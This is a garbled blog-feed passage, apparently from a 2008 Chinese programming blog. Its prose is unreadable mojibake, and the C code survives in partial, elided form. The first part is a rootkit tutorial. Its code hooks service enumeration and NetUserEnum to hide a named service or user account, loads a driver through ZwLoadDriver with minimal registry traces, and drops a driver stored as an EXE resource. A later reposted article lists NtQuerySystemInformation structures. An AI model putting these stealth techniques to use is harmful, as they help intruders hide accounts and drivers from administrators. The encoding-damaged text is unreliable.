for (DWORD n=0; n<*lpServicesReturned; n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_SERVICE,ServiceNameAnsi,
strlen(ServiceNameAnsi))==0)
{
//鍚戝墠縐誨姩鏈嶅姟鍒楄〃緙撳啿鍖?br>memcpy((lpEnumServiceGroupW+n),(lpEnumServiceGroupW+n+1),
((*lpServicesReturned)-n-1) * sizeof (ENUM_SERVICE_STATUSW));
(*lpServicesReturned)--; //鎬繪暟瑕?1
n--;
}
}
}
}

return sRet;
}

涓婅竟鐨勪唬鐮佸簲璇ュ緢瀹規槗鐞嗚В浜嗭紝鎴戜滑闅愯棌鏈嶅姟/椹卞姩錛屽彧闇瑕佸垽鏂湇鍔″悕錛屾墍浠wServiceType灝變竴鍧楀鐞嗕簡錛屼笉蹇呭垎寮銆傚彟澶栬姹傚師鍑芥暟瑕侀伒寰猒_stdcall璋冪敤綰﹀畾錛屽弬鏁頒粠鍙沖悜宸﹂『搴忓叆鏍堬紝鏈鍚庡皢鍘熷嚱鏁板湴鍧鏀懼叆EAX涓瑿ALL鍗沖彲銆?br>

鍗佷竴銆侀殣钘忕敤鎴?br>

鏋氫婦鐢ㄦ埛鏈?縐嶆柟娉曪紝鍏朵竴鏄嬌鐢∟etapi32.dll涓殑鍑芥暟錛屽彟涓涓氨鏄灇涓炬敞鍐岃〃鐨凷AM閿簡銆傞殣钘忔敞鍐岃〃鍓嶈竟宸茬粡璇磋繃浜嗭紝榪欓噷璇翠竴涓婲etapi32.dll瀵煎嚭鐨?涓嚱鏁幫細

NetUserEnum()
NetGroupGetUsers()
NetQueryDisplayInformation()

絎竴涓嚱鏁版槸鏋氫婦鐢ㄦ埛錛涚浜屼釜鍑芥暟鏄幏鍙栫粍鍐呯殑鐢ㄦ埛錛屼絾鏍規嵁MSDN鐨勬弿榪幫紝榪欎釜鍑芥暟鍙傜敤浜庡煙鎺у埗鍣紱絎笁涓嚱鏁板彲浠ユ灇涓劇敤鎴楓佺粍鍜岃綆楁満銆侼etUserEnum鍑芥暟鏀寔8縐嶆灇涓劇被鍨嬶紝姣忕綾誨瀷榪斿洖鐨勭粨鏋勬湁浜涗笉鍚岋紙鍏跺疄鍙槸緇撴瀯鎴愬憳鐨勫悕瀛椾笉鍚岋級錛岄渶瑕佸垎鍒鐞嗭紝鍙﹀2涓嚱鏁頒篃鏈夊縐嶇被鍨嬶紝浣嗗彧鏈変竴縐嶆槸鏋氫婦鐢ㄦ埛鐨勶紝HOOK榪欎釜綾誨瀷灝卞彲浠ヤ簡銆?涓嚱鏁扮殑闅愯棌鏂規硶閮芥槸memcpy縐誨姩緙撳啿鍖猴紝榪欓噷浠etUserEnum鍑芥暟銆佹灇涓劇被鍨嬩負0榪涜浠嬬粛錛屽叾浠?涓嚱鏁板拰瀹冩槸涓鏍風殑錛屽彧鏄粨鏋勪綋涓嶅悓銆?br>
NET_API_STATUS WINAPI HookNetUserEnum (LPCWSTR servername,……)
{
......
__asm
{
push resume_handle
push totalentries
push entriesread
push prefmaxlen
push bufptr
push filter
push level
push servername
mov eax,NewNetUserEnum
call eax
mov nStatus,eax
}

if ((nStatus==NERR_Success) && (bufptr!=NULL))
{
if (level==0) //澶勭悊鏋氫婦綾誨瀷涓?
{
//娉ㄦ剰bufptr鏄?綰ф寚閽?br>LPUSER_INFO_0 lpUserInfo=*((LPUSER_INFO_0 *)bufptr);
if ((nStatus==NERR_Success) || (nStatus==ERROR_MORE_DATA))
{
for (DWORD n=0;n<*entriesread;n++)
{
......
if (strnicmp(HIDDEN_SYSTEM_USER,UserNameAnsi,
strlen(UserNameAnsi))==0)
{
//鍚戝墠縐誨姩鐢ㄦ埛鍒楄〃緙撳啿鍖?br>memcpy((lpUserInfo+n),(lpUserInfo+n+1),
((*entriesread)-n-1) * sizeof (USER_INFO_0));
(*entriesread)--; //鎬繪暟--
n--;
}
}
}
}

......
}

return nStatus;
}

Level琛ㄧず鏋氫婦綾誨瀷錛孧SDN涓湁璇︾粏鐨勫畾涔夈傝繖3涓嚱鏁伴兘鏄疷nicode鐗堟湰錛屾病鏈堿NSI銆?br>

鍗佷簩銆侀┍鍔ㄧ殑鍔犺澆涓庢暣鍚?br>

鍔犺澆椹卞姩涓鑸兘鏄嬌鐢⊿ervcie API錛屼絾Servcie API鍒涘緩鐨勬湇鍔′細鍦ㄦ敞鍐岃〃鐣欎笅鐥曡抗錛岃繖涓嶆槸鎴戜滑鎯寵鐨勶紝搴旇浣跨敤涓縐嶆洿濂界殑鏂規硶銆侼ative API鏈?涓嚱鏁幫紝鍙互瀹炵幇椹卞姩鐨勫姩鎬佸姞/鍗歌澆錛屼笉鐢ㄥ啓娉ㄥ唽琛紝瀹冧滑鏄痁wLoadDriver鍜孼wUnloadDriver鍑芥暟銆備嬌鐢ㄨ繖2涓嚱鏁板姞/鍗歌澆椹卞姩錛屼篃闇瑕佸啓涓涓嬫敞鍐岃〃錛屼笉榪囧彧鏄厤鍚堣繖2涓嚱鏁幫紝寰呴┍鍔ㄥ姞/鍗歌澆瀹屾垚鍚庯紝灝卞彲浠ュ垹闄ゅ緩绔嬬殑娉ㄥ唽琛ㄩ」錛屼篃灝辨槸璇達紝鎴戜滑寤虹珛鐨勬敞鍐岃〃欏規渶澶氬仠鐣欏嚑縐掋傞渶瑕佸緩绔嬬殑娉ㄥ唽琛ㄩ」灝辨槸涓浜涙湇鍔$殑閿鹼紝姣斿Type錛堟湇鍔$被鍨嬶級錛孲tart錛堝惎鍔ㄧ被鍨嬶級錛孖magePath錛堥┍鍔ㄨ礬寰勶級絳夛紝瀹屾暣鐨勪唬鐮佸湪DevelopmentSetRegistry鍑芥暟涓紝灝變笉甯栧嚭鏉ヤ簡錛屽彧甯栧嚭鍔ㄦ佸姞/鍗歌澆鐨勫嚱鏁頒唬鐮併傛敞錛氬姩鎬佸姞/鍗歌澆椹卞姩鏃訛紝宸茬粡瀹屾垚浜嗚緗敞鍐岃〃錛屽姩鎬佸姞/鍗歌澆椹卞姩鍚庯紝榪樿鍒犻櫎娉ㄥ唽琛ㄩ」錛屽垏璁般?br>
BOOL DevelopmentLaodDriver (WCHAR *DriverName,BOOL LoadBelong)
{
......
//鍔犺澆ntdll.dll
if ((hModule=LoadLibrary("ntdll.dll"))==NULL)
{
//閿欒澶勭悊
}

//鍙栧緱鑻ュ共鍑芥暟鐨勫湴鍧
ZwLoadDriver=(ZwLoadDriverOld) GetProcAddress (hModule,"ZwLoadDriver");
ZwUnloadDriver=(ZwUnloadDriverOld) GetProcAddress (hModule,"ZwUnloadDriver");
RtlInitUnicodeString=(RtlInitUnicodeStringOld) GetProcAddress
(hModule,"RtlInitUnicodeString");
RtlNtStatusToDosError=(RtlNtStatusToDosErrorOld) GetProcAddress
(hModule,"RtlNtStatusToDosError");

swprintf(RegDriver,L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\%s",
DriverName);
RtlInitUnicodeString(&ModuleNameWide,RegDriver);

if (LoadBelong) //TRUE 鍔犺澆
{
//鍔犺澆椹卞姩
ntStatus=ZwLoadDriver(&ModuleNameWide);
......
}

if (!LoadBelong) //FALSE鍗歌澆
{
//鍗歌澆椹卞姩
ntStatus=ZwUnloadDriver(&ModuleNameWide);
......
}

return TRUE;
}

鎴戜滑闇瑕佷嬌鐢ㄤ竴涓狤XE鏉ユ搷浣淪YS錛岃繖鏍峰甫鐫2涓枃浠舵弧澶勮窇鑲畾涓嶆柟渚匡紝鎵浠ユ湁蹇呰灝嗗叾鏁村悎銆傛暣鍚堢殑鏂規硶鏈夊緢澶氾紝姣斿鏀懼湪EXE緇撳熬銆佸皢SYS杞寲涓?6榪涘埗浠g爜錛屾垨鑰呭仛鎴愯祫婧愭枃浠躲傜浉姣斾箣涓嬶紝鍋氭垚璧勬簮鏂囦歡姣旇緝綆鍗曪紝涔熶笉浼氱粰EXE澧炲姞澶鐨勪綋縐紝榪愯鏃朵竴閲婃斁灝監K浜嗐傞噴鏀捐祫婧愰渶瑕佷竴緋誨垪璧勬簮鍑芥暟錛屾渶鍚庝嬌鐢╢write灝嗘枃浠跺啓鍏ョ‖鐩樸傛垜鍐欎簡涓涓猂eleaseResource鍑芥暟錛岀敤浜庡疄鐜拌繖涓姛鑳姐?br>
BOOL ReleaseResource (TCHAR *DriverPath)
{
......
//鏌ユ壘璧勬簮 SYS鏄祫婧愬悕 SYSRES鏄祫婧愮被鍚?br>if ((hFind=FindResource(NULL,"SYS","SYSRES"))==NULL)
{
//閿欒澶勭悊
}

//鍔犺澆璧勬簮
if ((hLoad=LoadResource(NULL,hFind))==NULL)
{
//閿欒澶勭悊
}

//鍙栧緱璧勬簮澶у皬
if ((Size=SizeofResource(NULL,hFind))==0)
{
//閿欒澶勭悊
}

//鍙栧緱閲婃斁鍦板潃
if ((LockAddr=LockResource(hLoad))==NULL)
{
//閿欒澶勭悊
}

//鎵撳紑鏂囦歡
if ((fp=fopen(DriverPath,"wb"))==NULL)
{
//閿欒澶勭悊
}

//鍐欏叆
fwrite(LockAddr,1,Size,fp);
......
}

鏈変簡榪欎釜鍑芥暟錛屽氨鍙互鍙甫鐫EXE婊′笘鐣岃窇浜嗐?br>鏂囩珷鍐欎簡榪欎箞闀匡紝鏄椂鍊欑粨鏉熶簡錛屼粠涓婇潰鐨勮瑙d腑涓嶉毦鐪嬪嚭錛屾垜浠彧瑕佸Windows鍐呮牳鏈変竴鐐逛簡瑙o紝灝卞彲浠ュ紑鍙戜竴涓畝鍗曠殑Rootkit錛屽厜鐩樹腑鍖呭惈浜嗘湰鏂囧畬鏁寸殑婧愪唬鐮侊紝濡傚鏈枃鏈変換浣曢棶棰橈紝嬈㈣繋鍙戦偖浠剁粰鎴?a href="mailto:dahubaobao@eviloctal.com">dahubaobao@eviloctal.com銆?br>
鍗佷笁銆侀檮褰曚笅杞?br>
FileInfo(鏋氫婦鏂囦歡鐩綍緇撴瀯)
鍖呭惈闅愯棌鏈嶅姟/椹卞姩銆佺敤鎴蜂互鍙婄敤鎴鋒丠OOK鐨凞LL紼嬪簭
鍖呭惈闅愯棌榪涚▼銆佹枃浠?鐩綍銆佺鍙c佹敞鍐岃〃鍜屽唴鏍告ā鍧楃殑SYS浠ュ強鍔犺澆紼嬪簭

saga.constantine 2008-06-10 21:55 鍙戣〃璇勮
]]>
[杞澆]鍦∟T緋誨垪鎿嶄綔緋葷粺閲岃鑷繁鈥滄秷澶扁?/title><link>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 13:15:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/52797.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/06/10/52797.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/52797.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/52797.html</trackback:ping><description><![CDATA[     鎽樿: 杞澆瀛︿範鍘熸枃錛歨ttp://blog.csdn.net/SpiderF/archive/2005/04/05/336594.aspx 鍦∟T緋誨垪鎿嶄綔緋葷粺閲岃鑷繁“娑堝け” 1. 鍐呭2. 浠嬬粛3. 鏂囦歡    3.1 NtQueryDirectoryFile    3.2 NtVdmControl4. 榪涚▼5. ...  <a href='http://www.shnenglu.com/saga/archive/2008/06/10/52797.html'>闃呰鍏ㄦ枃</a><img src ="http://www.shnenglu.com/saga/aggbug/52797.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 21:15 <a href="http://www.shnenglu.com/saga/archive/2008/06/10/52797.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[鍘熷垱]PE鍔?孌靛伐鍏鋒簮鐮?/title><link>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 10 Jun 2008 09:48:00 GMT</pubDate><guid>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html</guid><wfw:comment>http://www.shnenglu.com/saga/comments/52777.html</wfw:comment><comments>http://www.shnenglu.com/saga/archive/2008/06/10/52777.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.shnenglu.com/saga/comments/commentRss/52777.html</wfw:commentRss><trackback:ping>http://www.shnenglu.com/saga/services/trackbacks/52777.html</trackback:ping><description><![CDATA[      鑷繁鍐欑殑PE鍔?孌靛伐鍏?nbsp;  姣旇緝綆鍗?nbsp; 楂樻墜絎戣繃<br>      鏀寔鏂囦歡鎷栨斁錛屾誨湪鏈涓娿?nbsp; 涓嶆敮鎸佸惈鏈塷verlap鐨勭▼搴忋?br>     <br>      紼嬪簭涓嬭澆錛?nbsp;  <a href="http://www.shnenglu.com/Files/saga/MyZeroAdd.rar">http://www.shnenglu.com/Files/saga/MyZeroAdd.rar</a><br><br>      婧愮爜涓嬭澆錛?nbsp;  <a href="http://www.shnenglu.com/Files/saga/MyZeroAdd%20vc6%20code.rar">http://www.shnenglu.com/Files/saga/MyZeroAdd%20vc6%20code.rar</a><a href="http://www.shnenglu.com/Files/saga/MyZeroAdd.rar"></a> <br><br>      濡傛湁bug錛岃鎸囧嚭錛岃阿璋€?br><br>                                                                                                   ------------------saga.constantine <img src ="http://www.shnenglu.com/saga/aggbug/52777.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.shnenglu.com/saga/" target="_blank">saga.constantine</a> 2008-06-10 17:48 <a href="http://www.shnenglu.com/saga/archive/2008/06/10/52777.html#Feedback" target="_blank" style="text-decoration:none;">鍙戣〃璇勮</a></div>]]></description></item><item><title>[杞澆]NtQuerySystemInformationhttp://www.shnenglu.com/saga/archive/2008/06/07/52453.htmlsaga.constantinesaga.constantineSat, 07 Jun 2008 08:53:00 GMThttp://www.shnenglu.com/saga/archive/2008/06/07/52453.htmlhttp://www.shnenglu.com/saga/comments/52453.htmlhttp://www.shnenglu.com/saga/archive/2008/06/07/52453.html#Feedback6http://www.shnenglu.com/saga/comments/commentRss/52453.htmlhttp://www.shnenglu.com/saga/services/trackbacks/52453.html
Native API涔僕indows鐢ㄦ埛妯″紡涓負涓婂眰Win32 API鎻愪緵鎺ュ彛鐨勬湰鏈虹郴緇熸湇鍔°傚鉤甯告垜浠繪槸璋冪敤MS涓烘垜浠彁渚涚殑鍏敤鐨刉in32 API鍑芥暟鏉ュ疄鐜版潵瀹炵幇鎴戜滑緋葷粺鐨勫姛鑳姐備粖澶╂垜浠璋堢殑鏄浣曢氳繃鏈満緋葷粺鏈嶅姟(Native API錛夋潵鎺㈡祴鏈満緋葷粺淇℃伅銆傚綋鐒訛紝寰蔣娌℃湁涓烘垜浠彁渚涘叧浜庢湰鏈虹郴緇熸湇鍔$殑鏂囨。 (Undocumented)錛屼篃灝辨槸涓嶄細涓哄瀹冪殑浣跨敤鎻愪緵浠諱綍鐨勪繚璇侊紝鎵浠ユ垜浠笉鎻愬′嬌鐢∟ative API鏉ュ紑鍙戣蔣浠躲備笉榪囧湪鐗規畩鎯呭喌涓嬶紝鏈満緋葷粺鏈嶅姟鍗翠負鎴戜滑鎻愪緵浜嗛氬悜“縐樺瘑”鐨勬嵎寰勩傛湰鏂囨彁鍒扮殑淇℃伅浠呭湪Windows2000/XP/2003涓婃祴璇?榪囥?br>
浠婂ぉ錛屾垜浠富瑕佽璁虹殑鏄竴涓嚱鏁癗tQuerySystemInformation(ZwQuerySystemInformation)銆傚綋鐒訛紝浣犱笉瑕佸皬鐪嬭繖涔堜竴涓嚱鏁幫紝瀹冨嵈涓烘垜浠彁渚涗簡涓板瘜鐨勭郴緇熶俊鎭紝鍚屾椂榪樺寘鎷鏌愪簺淇℃伅鐨勬帶鍒跺拰璁劇疆銆備互涓嬫槸榪欎釜鍑芥暟鐨勫師鍨嬶細

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)
(IN銆銆 SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID銆銆銆銆銆銆銆銆銆銆SystemInformation,
IN銆銆 ULONG銆銆銆銆銆銆銆銆銆銆SystemInformationLength,
OUT銆銆 PULONG銆銆銆銆銆銆銆銆 ReturnLength OPTIONAL)錛?br>NTQUERYSYSTEMINFORMATION NtQuerySystemInformation錛?br>
NtQuerySystemInformation榪欎釜鍑芥暟鏈夊洓涓弬鏁幫細
      絎竴涓弬鏁版槸dwRecordType錛岃繖涓弬鏁版寚瀹氫簡鎴戜滑鎵鏌ヨ鐨勭郴緇熶俊鎭被鍨嬶紝涓轟簡鏌ヨ緋葷粺HANDLE鍒楄〃錛屾垜浠畾涔変竴涓父閲?define NT_HANDLE_LIST 16錛堣繖涓暟鍊兼垜鏄煡璧勬枡寰楀埌鐨勶紝濡傛灉璋佹湁鏇磋緇嗙殑璧勬枡錛屼篃璇瘋鎴戝叡浜竴涓嬶級銆?/div>

      絎簩涓弬鏁版槸涓涓寚閽堬紝榪欎釜鎸囬拡鐢ㄦ潵榪斿洖緋葷粺鍙ユ焺鍒楄〃錛屽湪璋冪敤NtQuerySystemInformation鍑芥暟涔嬪墠錛屽繀欏諱負榪欎釜鎸囬拡鍒嗛厤瓚沖鐨勫唴瀛樼┖闂達紝鍚﹀垯鍑芥暟璋冪敤浼氬嚭閿欍?/div>

      絎笁涓弬鏁版槸鎸囧畾浣犱負HandleList鎵鍒嗛厤鐨勫唴瀛樼┖闂村ぇ灝忥紝鍗曚綅鏄痓yte銆?/div>

      絎洓涓弬鏁版槸NtQuerySystemInformation榪斿洖鐨凥andleList鐨勫ぇ灝忥紱濡傛灉NtQuerySystemInformation鍑芥暟璋冪敤鎴愬姛錛岃繑鍥炲煎皢鏄?錛屽惁鍒欏彲浠ヤ嬌鐢℅etLastError()鑾峰緱璇︾粏鐨勯敊璇唬鐮併?nbsp; 


浠庝腑鍙互鐪嬪埌錛孲ystemInformationClass鏄竴涓被鍨嬩俊鎭紝瀹冨ぇ姒傛彁渚涗簡50浣欑淇℃伅錛屼篃灝辨槸鎴戜滑鍙互閫氳繃榪欎釜鍑芥暟瀵瑰ぇ綰?0澶氱 鐨勭郴緇熶俊鎭繘琛屾帰嫻嬫垨璁劇疆銆係ystemInformation鏄竴涓狶PVOID鍨嬬殑鎸囬拡錛屽畠涓烘垜浠彁渚涢渶瑕佽幏寰楃殑淇℃伅錛屾垨鏄垜浠渶瑕佽緗殑緋葷粺淇℃伅銆?SystemInformationLength鏄疭ystemInformation鐨勯暱搴︼紝瀹冩牴鎹帰嫻嬬殑淇℃伅綾誨瀷鏉ュ喅瀹氥傝嚦浜?ReturnLength鍒欐槸緋葷粺榪斿洖鐨勯渶瑕佺殑闀垮害錛岄氬父鍙互璁劇疆涓虹┖鎸囬拡(NULL)銆?br>
棣栧厛錛屾垜浠潵鐪嬬湅澶у姣旇緝鐔熸倝鐨勭郴緇熻繘紼?綰跨▼鐩稿叧鐨勪俊鎭傝繖涓鐩湪緗戜笂宸茬粡璁ㄨ浜哊澶氬勾浜嗭紝鎵浠ユ垜灝變笉鍦ㄨ佺敓甯歌皥浜嗭紝鍛靛懙銆傞偅涔堝氨鎻愬嚭榪欎釜緇撴瀯綾誨瀷鐨勫畾涔夛細

typedef struct _SYSTEM_PROCESSES
{
ULONG銆銆銆銆 NextEntryDelta錛涖銆銆銆 //鏋勬垚緇撴瀯搴忓垪鐨勫亸縐婚噺錛?br>ULONG銆銆銆銆 ThreadCount錛涖銆銆銆銆銆 //綰跨▼鏁扮洰錛?br>ULONG銆銆銆銆 Reserved1[6]錛涖銆銆銆
LARGE_INTEGER CreateTime錛涖銆銆銆銆銆 //鍒涘緩鏃墮棿錛?br>LARGE_INTEGER UserTime錛涖銆銆銆銆銆銆銆//鐢ㄦ埛妯″紡(Ring 3)鐨凜PU鏃墮棿錛?br>LARGE_INTEGER KernelTime錛涖銆銆銆銆銆 //鍐呮牳妯″紡(Ring 0)鐨凜PU鏃墮棿錛?br>UNICODE_STRING ProcessName錛涖銆銆銆銆銆 //榪涚▼鍚嶇О錛?br>KPRIORITY銆銆 BasePriority錛涖銆銆銆銆銆//榪涚▼浼樺厛鏉冿紱
ULONG銆銆銆銆 ProcessId錛涖銆銆銆銆銆 //榪涚▼鏍囪瘑絎︼紱
ULONG銆銆銆銆 InheritedFromProcessId錛?//鐖惰繘紼嬬殑鏍囪瘑絎︼紱
ULONG銆銆銆銆 HandleCount錛涖銆銆銆銆銆 //鍙ユ焺鏁扮洰錛?br>ULONG銆銆銆銆 Reserved2[2]錛?br>VM_COUNTERS銆銆VmCounters錛涖銆銆銆銆銆 //铏氭嫙瀛樺偍鍣ㄧ殑緇撴瀯錛岃涓嬶紱
IO_COUNTERS銆銆IoCounters錛涖銆銆銆銆銆 //IO璁℃暟緇撴瀯錛岃涓嬶紱
SYSTEM_THREADS Threads[1]錛涖銆銆銆銆銆 //榪涚▼鐩稿叧綰跨▼鐨勭粨鏋勬暟緇勶紝瑙佷笅錛?br>}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES錛?br>
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime錛涖銆銆銆銆銆 //CPU鍐呮牳妯″紡浣跨敤鏃墮棿錛?br>LARGE_INTEGER UserTime錛涖銆銆銆銆銆銆銆 //CPU鐢ㄦ埛妯″紡浣跨敤鏃墮棿錛?br>LARGE_INTEGER CreateTime錛涖銆銆銆銆銆 //綰跨▼鍒涘緩鏃墮棿錛?br>ULONG銆銆銆銆 WaitTime錛涖銆銆銆銆銆銆銆 //絳夊緟鏃墮棿錛?br>PVOID銆銆銆銆 StartAddress錛涖銆銆銆銆銆 //綰跨▼寮濮嬬殑铏氭嫙鍦板潃錛?br>CLIENT_ID銆銆 ClientId錛涖銆銆銆銆銆銆銆 //綰跨▼鏍囪瘑絎︼紱
KPRIORITY銆銆 Priority錛涖銆銆銆銆銆銆銆 //綰跨▼浼樺厛綰э紱
KPRIORITY銆銆 BasePriority錛涖銆銆銆銆銆 //鍩烘湰浼樺厛綰э紱
ULONG銆銆銆銆 ContextSwitchCount錛涖銆 //鐜鍒囨崲鏁扮洰錛?br>THREAD_STATE State錛涖銆銆銆銆銆銆銆銆銆//褰撳墠鐘舵侊紱
KWAIT_REASON WaitReason錛涖銆銆銆銆銆 //絳夊緟鍘熷洜錛?br>}SYSTEM_THREADS,*PSYSTEM_THREADS錛?br>
typedef struct _VM_COUNTERS
{
ULONG PeakVirtualSize錛涖銆銆銆銆銆銆銆 //铏氭嫙瀛樺偍宄板煎ぇ灝忥紱
ULONG VirtualSize錛涖銆銆銆銆銆銆銆銆銆 //铏氭嫙瀛樺偍澶у皬錛?br>ULONG PageFaultCount錛涖銆銆銆銆銆銆銆 //欏墊晠闅滄暟鐩紱
ULONG PeakWorkingSetSize錛涖銆銆銆銆銆 //宸ヤ綔闆嗗嘲鍊煎ぇ灝忥紱
ULONG WorkingSetSize錛涖銆銆銆銆銆銆銆 //宸ヤ綔闆嗗ぇ灝忥紱
ULONG QuotaPeakPagedPoolUsage錛涖銆銆銆 //鍒嗛〉姹犱嬌鐢ㄩ厤棰濆嘲鍊鹼紱
ULONG QuotaPagedPoolUsage錛涖銆銆銆銆銆 //鍒嗛〉姹犱嬌鐢ㄩ厤棰濓紱
ULONG QuotaPeakNonPagedPoolUsage錛涖銆 //闈炲垎欏墊睜浣跨敤閰嶉宄板鹼紱
ULONG QuotaNonPagedPoolUsage錛涖銆銆銆 //闈炲垎欏墊睜浣跨敤閰嶉錛?br>ULONG PagefileUsage錛涖銆銆銆銆銆銆銆銆銆//欏墊枃浠朵嬌鐢ㄦ儏鍐碉紱
ULONG PeakPagefileUsage錛涖銆銆銆銆銆銆銆//欏墊枃浠朵嬌鐢ㄥ嘲鍊鹼紱
}VM_COUNTERS,*PVM_COUNTERS錛?br>
typedef struct _IO_COUNTERS
{
LARGE_INTEGER ReadOperationCount錛涖銆 //I/O璇繪搷浣滄暟鐩紱
LARGE_INTEGER WriteOperationCount錛涖銆 //I/O鍐欐搷浣滄暟鐩紱
LARGE_INTEGER OtherOperationCount錛涖銆 //I/O鍏朵粬鎿嶄綔鏁扮洰錛?br>LARGE_INTEGER ReadTransferCount錛涖銆銆銆//I/O璇繪暟鎹暟鐩紱
LARGE_INTEGER WriteTransferCount錛涖銆 //I/O鍐欐暟鎹暟鐩紱
LARGE_INTEGER OtherTransferCount錛涖銆 //I/O鍏朵粬鎿嶄綔鏁版嵁鏁扮洰錛?br>}IO_COUNTERS,*PIO_COUNTERS錛?br>
浠ヤ笂榪欎簺淇℃伅搴旇鏄瘮杈冨叏闈㈢殑浜嗭紝鍦╓in32 API閲屼負鎴戜滑鎻愪緵浜哖SAPI(榪涚▼鐘舵?鍜孴oolHelp32榪欎袱縐嶆帰嫻嬬郴緇熻繘紼?綰跨▼淇℃伅鐨勬柟寮忥紝鍦╓indows2K/XP/2003閮芥敮鎸佸畠浠?br>
鐜板湪錛屾垜浠潵鐪嬬湅緋葷粺鐨勬ц兘淇℃伅錛屾ц兘緇撴瀯SYSTEM_PERFORMANCE_INFORMATION涓烘垜浠彁渚涗簡70浣欑緋葷粺鎬ц兘鏂歸潰鐨勪俊鎭紝鐪熸槸澶赴瀵屼簡錛岃鎱㈡參浣撲細~

typedef struct _SYSTEM_PERFORMANCE_INFORMATION
{
LARGE_INTEGER IdleTime錛涖銆銆銆銆銆銆銆銆銆//CPU絀洪棽鏃墮棿錛?br>LARGE_INTEGER ReadTransferCount錛涖銆銆銆 //I/O璇繪搷浣滄暟鐩紱
LARGE_INTEGER WriteTransferCount錛涖銆銆銆 //I/O鍐欐搷浣滄暟鐩紱
LARGE_INTEGER OtherTransferCount錛涖銆銆銆 //I/O鍏朵粬鎿嶄綔鏁扮洰錛?br>ULONG銆銆銆銆 ReadOperationCount錛涖銆銆銆 //I/O璇繪暟鎹暟鐩紱
ULONG銆銆銆銆 WriteOperationCount錛涖銆銆銆 //I/O鍐欐暟鎹暟鐩紱
ULONG銆銆銆銆 OtherOperationCount錛涖銆銆銆 //I/O鍏朵粬鎿嶄綔鏁版嵁鏁扮洰錛?br>ULONG銆銆銆銆 AvailablePages錛涖銆銆銆銆銆 //鍙幏寰楃殑欏墊暟鐩紱
ULONG銆銆銆銆 TotalCommittedPages錛涖銆銆銆 //鎬誨叡鎻愪氦欏墊暟鐩紱
ULONG銆銆銆銆 TotalCommitLimit錛涖銆銆銆銆銆//宸叉彁浜ら〉鏁扮洰錛?br>ULONG銆銆銆銆 PeakCommitment錛涖銆銆銆銆銆 //欏墊彁浜ゅ嘲鍊鹼紱
ULONG銆銆銆銆 PageFaults錛涖銆銆銆銆銆銆銆 //欏墊晠闅滄暟鐩紱
ULONG銆銆銆銆 WriteCopyFaults錛涖銆銆銆銆銆 //Copy-On-Write鏁呴殰鏁扮洰錛?br>ULONG銆銆銆銆 TransitionFaults錛涖銆銆銆銆銆//杞〉鏁呴殰鏁扮洰錛?br>ULONG銆銆銆銆 Reserved1錛?br>ULONG銆銆銆銆 DemandZeroFaults錛涖銆銆銆銆銆//闇姹?鏁呴殰鏁幫紱
ULONG銆銆銆銆 PagesRead錛涖銆銆銆銆銆銆銆 //璇婚〉鏁扮洰錛?br>ULONG銆銆銆銆 PageReadIos錛涖銆銆銆銆銆銆銆 //璇婚〉I/O鎿嶄綔鏁幫紱
ULONG銆銆銆銆 Reserved2[2]錛?br>ULONG銆銆銆銆 PagefilePagesWritten錛涖銆銆銆//宸插啓欏墊枃浠墮〉鏁幫紱
ULONG銆銆銆銆 PagefilePageWriteIos錛涖銆銆銆//宸插啓欏墊枃浠舵搷浣滄暟錛?br>ULONG銆銆銆銆 MappedFilePagesWritten錛涖銆 //宸插啓鏄犲皠鏂囦歡欏墊暟錛?br>ULONG銆銆銆銆 MappedFileWriteIos錛涖銆銆銆 //宸插啓鏄犲皠鏂囦歡鎿嶄綔鏁幫紱
ULONG銆銆銆銆 PagedPoolUsage錛涖銆銆銆銆銆 //鍒嗛〉姹犱嬌鐢紱
ULONG銆銆銆銆 NonPagedPoolUsage錛涖銆銆銆 //闈炲垎欏墊睜浣跨敤錛?br>ULONG銆銆銆銆 PagedPoolAllocs錛涖銆銆銆銆銆 //鍒嗛〉姹犲垎閰嶆儏鍐碉紱
ULONG銆銆銆銆 PagedPoolFrees錛涖銆銆銆銆銆 //鍒嗛〉姹犻噴鏀炬儏鍐碉紱
ULONG銆銆銆銆 NonPagedPoolAllocs錛涖銆銆銆 //闈炲垎欏墊睜鍒嗛厤鎯呭喌錛?br>ULONG銆銆銆銆 NonPagedPoolFress錛涖銆銆銆 //闈炲垎欏墊睜閲婃斁鎯呭喌錛?br>ULONG銆銆銆銆 TotalFreeSystemPtes錛涖銆銆銆 //緋葷粺欏佃〃欏歸噴鏀炬繪暟錛?br>ULONG銆銆銆銆 SystemCodePage錛涖銆銆銆銆銆 //鎿嶄綔緋葷粺浠g爜欏墊暟錛?br>ULONG銆銆銆銆 TotalSystemDriverPages錛涖銆 //鍙垎欏甸┍鍔ㄧ▼搴忛〉鏁幫紱
ULONG銆銆銆銆 TotalSystemCodePages錛涖銆銆銆//鎿嶄綔緋葷粺浠g爜欏墊繪暟錛?br>ULONG銆銆銆銆 SmallNonPagedLookasideListAllocateHits錛?//灝忛潪鍒嗛〉渚ц鍒楄〃鍒嗛厤嬈℃暟錛?br>ULONG銆銆銆銆 SmallPagedLookasideListAllocateHits錛涖銆//灝忓垎欏典晶瑙嗗垪琛ㄥ垎閰嶆鏁幫紱
